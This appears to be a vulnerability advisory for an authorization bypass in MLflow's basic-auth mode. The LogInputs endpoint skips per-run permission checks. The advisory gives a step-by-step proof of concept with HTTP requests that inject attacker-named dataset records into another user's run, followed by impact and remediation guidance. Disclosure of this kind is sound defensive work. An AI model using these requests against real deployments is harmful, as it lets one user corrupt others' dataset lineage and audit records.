CVE-2026-69146: MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
Summary
When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFOREREQUESTHANDLERS map in mlflow/server/auth/init.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403.
Details
MLflow's basic-auth app gates every HTTP handler through a before-request hook (beforerequest) that looks up the relevant permission validator in BEFOREREQUESTVALIDATORS. Validators are built from the BEFOREREQUESTHANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), getbeforerequesthandler returns None, and the resulting entry in BEFOREREQUESTVALIDATORS is (path, method): None.
Inside beforerequest:
python mlflow/server/auth/init.py beforerequest() if validator := findvalidator(request): # None is falsy -- branch skipped if not validator(): return makeforbiddenresponse() elif isproxyartifactpath(request.path): # not a proxy path ... falls through: any authenticated request is allowed
The LogInputs protobuf class is not present in BEFOREREQUESTHANDLERS:
python mlflow/server/auth/init.py BEFOREREQUESTHANDLERS dict LogInputs is absent; all run-write operations below ARE present: LogBatch: validatecanupdaterun, LogMetric: validatecanupdaterun, SetTag: validatecanupdaterun, LogParam: validatecanupdaterun, LogInputs: <missing>
The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check.
PoC
Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).
1. Confirm the authorized endpoint correctly denies alice's write to bob's run:
POST /api/2.0/mlflow/runs/log-metric HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alicepassword123) Content-Type: application/json
{"runid": "<bobrunid>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}
Response: HTTP 403 Permission denied
2. Inject a dataset record into bob's run as alice:
POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alicepassword123) Content-Type: application/json
{"runid": "<bobrunid>", "datasets": [{"dataset": {"name": "ATTACKERinjected", "digest": "evil123", "profile": "attackercontrolled"}}]}
Response: HTTP 200 {}
3. Confirm injection persisted:
GET /api/2.0/mlflow/runs/get?runid=<bobrunid> HTTP/1.1 Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bobpasswordnew123)
Response: HTTP 200 -- datasetinputs array contains {"name":"ATTACKERinjected","digest":"evil123","profile":"attackercontrolled"}.
Impact
Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.
Other sources
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFOREREQUESTHANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's runid and inject attacker-controlled DatasetInput records into the datasetinputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/mlflowto a version that resolves this vulnerability.Fixed in 3.15.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 3.15.0 - Configuration
Ensure `LogInputs` is present in `BEFORE_REQUEST_HANDLERS` in `mlflow/server/auth/__init__.py` (so the before-request hook `_before_request` enforces per-run UPDATE permission for `/api/2.0/mlflow/runs/log-inputs`).
MLflow basic-auth app (`--app-name basic-auth`) BEFORE_REQUEST_HANDLERS (mlflow/server/auth/__init__.py) = Include the LogInputs handler so requests to POST /api/2.0/mlflow/runs/log-inputs are authorized via validate_can_update_run
Event History
Frequently Asked Questions
What is the severity of CVE-2026-69146?
The severity of CVE-2026-69146 is medium, rated at 6.5.
How do I fix CVE-2026-69146?
To fix CVE-2026-69146, ensure that the built-in basic-auth plugin is configured properly to restrict access to the LogInputs endpoint.
What vulnerability does CVE-2026-69146 exploit?
CVE-2026-69146 exploits a flaw that allows authenticated users to bypass per-run UPDATE authorization for the LogInputs endpoint.
Which software is affected by CVE-2026-69146?
CVE-2026-69146 affects MLflow when deployed with the built-in basic-auth plugin.
What impact does CVE-2026-69146 have on user data?
CVE-2026-69146 allows authenticated users to inject arbitrary dataset records into another user's run, compromising data integrity.